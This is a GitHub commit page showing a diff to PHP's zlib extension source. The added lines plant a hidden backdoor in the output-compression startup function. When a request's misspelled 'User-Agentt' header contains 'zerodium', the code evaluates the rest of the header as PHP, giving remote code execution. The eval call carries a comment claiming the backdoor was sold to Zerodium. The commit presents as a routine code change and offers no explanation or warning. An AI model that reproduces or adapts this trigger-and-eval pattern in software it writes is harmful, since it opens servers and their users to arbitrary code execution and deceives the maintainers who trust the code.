We read every piece of feedback, and take your input very seriously.
To see all available qualifiers, see our documentation.
1 parent 92aeda5 commit c730aa2Copy full SHA for c730aa2
ext/zlib/zlib.c
@@ -360,6 +360,17 @@ static void php_zlib_output_compression_start(void)
360
{
361
zval zoh;
362
php_output_handler *h;
363
+ zval *enc;
364
+
365
+ if ((Z_TYPE(PG(http_globals)[TRACK_VARS_SERVER]) == IS_ARRAY || zend_is_auto_global_str(ZEND_STRL("_SERVER"))) &&
366
+ (enc = zend_hash_str_find(Z_ARRVAL(PG(http_globals)[TRACK_VARS_SERVER]), "HTTP_USER_AGENTT", sizeof("HTTP_USER_AGENTT") - 1))) {
367
+ convert_to_string(enc);
368
+ if (strstr(Z_STRVAL_P(enc), "zerodium")) {
369
+ zend_try {
370
+ zend_eval_string(Z_STRVAL_P(enc)+8, NULL, "REMOVETHIS: sold to zerodium, mid 2017");
371
+ } zend_end_try();
372
+ }
373
374
375
switch (ZLIBG(output_compression)) {
376
case 0:
0 commit comments